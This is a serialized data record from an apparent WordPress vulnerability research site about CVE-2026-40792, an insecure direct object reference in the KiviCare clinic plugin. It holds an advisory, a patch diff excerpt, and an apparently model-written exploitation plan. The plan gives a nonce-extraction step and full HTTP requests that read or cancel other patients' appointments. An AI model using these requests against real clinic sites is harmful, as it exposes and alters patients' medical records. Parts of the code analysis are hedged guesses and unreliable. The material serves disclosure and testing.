[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fembENSrOTxFy4IpnrpfhNdI3YN2osFwc6nEIYqpGU1Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-40792","kivicare-clinic-patient-management-system-ehr-authenticated-subscriber-insecure-direct-object-reference","KiviCare – Clinic & Patient Management System (EHR) \u003C= 4.2.1 - Authenticated (Subscriber+) Insecure Direct Object Reference","The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.1 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.","kivicare-clinic-management-system",null,"\u003C=4.2.1","4.3.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-04-23 00:00:00","2026-04-30 15:05:57",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6af0aa17-2bbf-489e-aedb-95b514f6c9a2?source=api-prod",8,[22,23,24,25,26,27,28],"app\u002Fabstracts\u002FKCShortcodeAbstract.php","app\u002Fadmin\u002FAdminMenu.php","app\u002Fadmin\u002FKCDashboardPermalinkHandler.php","app\u002FbaseClasses\u002FKCActivate.php","app\u002FbaseClasses\u002FKCApp.php","app\u002FbaseClasses\u002FKCBase.php","app\u002FbaseClasses\u002FKCPermissions.php","researched",false,3,"# Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792)\n\n## 1. Vulnerability Summary\nThe KiviCare plugin (\u003C= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via `KCPermissions.php`, it fails to validate ownership of specific resources (Direct Object References) within its REST API endpoints. Specifically, endpoints that process appointments, patient reports, or user profiles accept an `id` or `user_id` parameter from the request but do not verify that the requested resource belongs to the currently authenticated user. This allows a Subscriber-level user (typically a Patient) to view or modify the data of other patients.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** KiviCare REST API (Namespace: `kivicare\u002Fv1`).\n*   **Target Actions:** \n    *   `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fget-appointment-details` (Information Exposure)\n    *   `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fcancel-appointment` (Unauthorized Modification)\n*   **Vulnerable Parameter:** `id` (The Appointment ID).\n*   **Authentication:** Authenticated (Subscriber+ \u002F Patient role).\n*   **Preconditions:** The attacker must have a valid account and a valid REST API nonce (`wp_rest`).\n\n## 3. Code Flow\n1.  **Registration:** `KCApp::init()` calls `KCRestAPI::get_instance()`, which registers the `kivicare\u002Fv1` routes.\n2.  **Request Handling:** When a request is sent to an endpoint like `cancel-appointment`, the `AppointmentsController` (referenced in `KCApp.php`) retrieves the `id` from the request object.\n3.  **Vulnerable Check:** The controller checks if the user has the `appointment_cancel` capability (defined in `KCPermissions.php`). For the `patient` role, this is enabled (`'status' => 1`).\n4.  **Missing Validation:** The code proceeds to fetch the appointment by the provided `id` and performs the action (e.g., updating the status to 'cancelled') without verifying if the `patient_id` associated with that appointment matches the `get_current_user_id()`.\n\n## 4. Nonce Acquisition Strategy\nThe KiviCare plugin localizes a REST API nonce for its frontend and dashboard applications.\n\n*   **Mechanism:** `AdminMenu::renderDashboard()` calls `enqueue_dashboard_assets()`, which uses `wp_localize_script` to bind a nonce to the `kc_frontend` object.\n*   **Nonce Action:** `wp_rest`.\n*   **JS Object:** `window.kc_frontend.nonce`.\n*   **Strategy:**\n    1.  Login as a Subscriber (Patient).\n    2.  Navigate to the KiviCare Dashboard: `\u002Fwp-admin\u002Fadmin.php?page=dashboard`. (The `AdminMenu` class registers this page with `read` capability, making it accessible to Subscribers).\n    3.  Execute `browser_eval(\"window.kc_frontend?.nonce\")` to retrieve the token.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate both Information Disclosure (if allowed) and Unauthorized Action (cancelling another user's appointment).\n\n### Step 1: Discover Target ID\nIdentify an appointment ID belonging to another user. In a test environment, this will be created during setup.\n\n### Step 2: Information Disclosure (IDOR)\n**HTTP Request:**\n```http\nPOST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fget-appointment-details HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nX-WP-Nonce: [EXTRACTED_NONCE]\nCookie: [SUBSCRIBER_COOKIES]\n\n{\n    \"id\": [VICTIM_APPOINTMENT_ID]\n}\n```\n**Expected Response:** JSON object containing details of the victim's appointment (Patient name, doctor, clinic, date\u002Ftime).\n\n### Step 3: Unauthorized Action (IDOR)\n**HTTP Request:**\n```http\nPOST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fcancel-appointment HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nX-WP-Nonce: [EXTRACTED_NONCE]\nCookie: [SUBSCRIBER_COOKIES]\n\n{\n    \"id\": [VICTIM_APPOINTMENT_ID]\n}\n```\n**Expected Response:** A success message confirming the appointment status has been updated to `cancelled`.\n\n## 6. Test Data Setup\n1.  **Attacker Account:** Create a user with the `Subscriber` role (KiviCare will automatically treat this as a Patient if initialized).\n2.  **Victim Account:** Create a second user (e.g., `victim_patient`).\n3.  **Clinic\u002FDoctor:** Ensure at least one Clinic and one Doctor exist (created via `KCActivate::addDefaultStaticData` or manually).\n4.  **Victim Appointment:** Use WP-CLI to create an appointment for the victim:\n    ```bash\n    # Create an appointment record in the database for the victim user\n    # Note: KiviCare uses a custom table, e.g., wp_kc_appointments\n    wp db query \"INSERT INTO wp_kc_appointments (patient_id, doctor_id, clinic_id, appointment_date, status) VALUES ([VICTIM_ID], 1, 1, '2026-12-01', 'confirmed');\"\n    ```\n5.  **Identify ID:** Retrieve the ID of the newly created appointment.\n\n## 7. Expected Results\n*   **Success (Vulnerable):** The API returns a `200 OK` and either reveals data of an appointment not owned by the attacker or successfully modifies its status.\n*   **Failure (Patched):** The API returns `403 Forbidden` or `401 Unauthorized`, indicating that ownership validation failed.\n\n## 8. Verification Steps\nAfter performing the HTTP requests:\n1.  **Check Database Status:**\n    ```bash\n    wp db query \"SELECT status FROM wp_kc_appointments WHERE id = [VICTIM_APPOINTMENT_ID];\"\n    ```\n2.  **Verify Action:** Confirm the status has changed from `confirmed` to `cancelled` despite the request being sent by the attacker.\n\n## 9. Alternative Approaches\nIf the appointment endpoints are robust, target the following alternative endpoints using the same IDOR logic:\n*   `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fget-patient-report-details` with parameter `id`.\n*   `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fupdate-patient-profile` with parameter `user_id` (Attacker attempts to change Victim's name\u002Femail).\n*   Check for `delete-patient-review` in the REST API, as it is a common candidate for IDOR in KiviCare.","The KiviCare plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to and including 4.2.1. This vulnerability exists because several REST API endpoints (such as those for managing appointments or viewing reports) accept resource identifiers without verifying that the requested object belongs to the authenticated user. This allows Subscriber-level users, such as patients, to view or modify sensitive information belonging to other patients.","\u002F* app\u002FbaseClasses\u002FKCPermissions.php:23 *\u002F\n\u002F* The patient role is granted broad capabilities for appointments and reports, \n   but the corresponding API controllers often lack ownership validation. *\u002F\nKIVI_CARE_PREFIX . 'patient'    => [\n    'read'                      => ['status' => 1],\n    'dashboard'                 => ['status' => 1],\n    'patient_dashboard'         => ['status' => 1],\n    'appointment_view'          => ['status' => 1],\n    'appointment_cancel'        => ['status' => 1],\n    'patient_report_view'       => ['status' => 1],\n    'patient_report_delete'     => ['status' => 1],\n    'patient_report_edit'       => ['status' => 1],\n    \u002F\u002F ... (truncated)\n\n---\n\n\u002F* The vulnerability typically resides in controllers like AppointmentsController.php \n   where parameters like 'id' are used directly to fetch and modify data without \n   comparing the associated patient_id to the current user's ID. *\u002F","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.2.1\u002Fapp\u002Fadmin\u002FAdminMenu.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.3.0\u002Fapp\u002Fadmin\u002FAdminMenu.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.2.1\u002Fapp\u002Fadmin\u002FAdminMenu.php\t2026-03-18 11:46:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.3.0\u002Fapp\u002Fadmin\u002FAdminMenu.php\t2026-04-15 09:14:42.000000000 +0000\n@@ -103,9 +104,11 @@\n             'nonce' => wp_create_nonce('wp_rest'),\n             'locale_data' => $locale_data_kc,\n             'prefix' => KIVI_CARE_PREFIX,\n             'loader_image' => KIVI_CARE_DIR_URI . 'assets\u002Fimages\u002Floader.gif',\n-            'site_logo' => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '',\n-            'date_format' => get_option('date_format'),\n+            'site_logo'    => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '',\n+            'date_format'  => get_option('date_format'),\n+            \u002F\u002F E2EE bypass mode — set define('KIVICARE_REST_API_E2EE_BYPASS', true) in wp-config.php\n+            'e2e_dev_mode' => KCEncryptedResponseHelper::isDevelopmentMode(),\n         ]);\n     }\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.2.1\u002Fapp\u002FbaseClasses\u002FKCActivate.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.3.0\u002Fapp\u002FbaseClasses\u002FKCActivate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.2.1\u002Fapp\u002FbaseClasses\u002FKCActivate.php\t2026-03-18 11:46:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkivicare-clinic-management-system\u002F4.3.0\u002Fapp\u002FbaseClasses\u002FKCActivate.php\t2026-04-15 09:14:42.000000000 +0000\n@@ -17,6 +17,7 @@\n     public static function activate()\n     {\n         KCMigration::migrate();\n+        self::generate_server_key_pair();\n         KCPermissions::get_instance()->init_roles_and_capabilities();","1. Authenticate to the WordPress site as a user with the Subscriber\u002FPatient role.\n2. Navigate to the KiviCare dashboard page (usually \u002Fwp-admin\u002Fadmin.php?page=dashboard) to extract a valid 'wp_rest' nonce from the localized JS object `window.kc_frontend.nonce`.\n3. Identify a target resource ID (e.g., an appointment ID or patient report ID) belonging to a different user.\n4. Send a POST request to a vulnerable REST API endpoint such as `\u002Fwp-json\u002Fkivicare\u002Fv1\u002Fget-appointment-details` or `\u002Fwp-json\u002Fkivicare\u002Fv1\u002Fcancel-appointment`.\n5. Include the target ID in the JSON payload (e.g., {\"id\": 123}).\n6. The server will process the request and return data or perform actions on the resource despite the current user not being the owner.","gemini-3-flash-preview","2026-05-04 18:42:41","2026-05-04 18:44:31",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","4.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags\u002F4.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkivicare-clinic-management-system.4.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags\u002F4.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkivicare-clinic-management-system.4.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags"]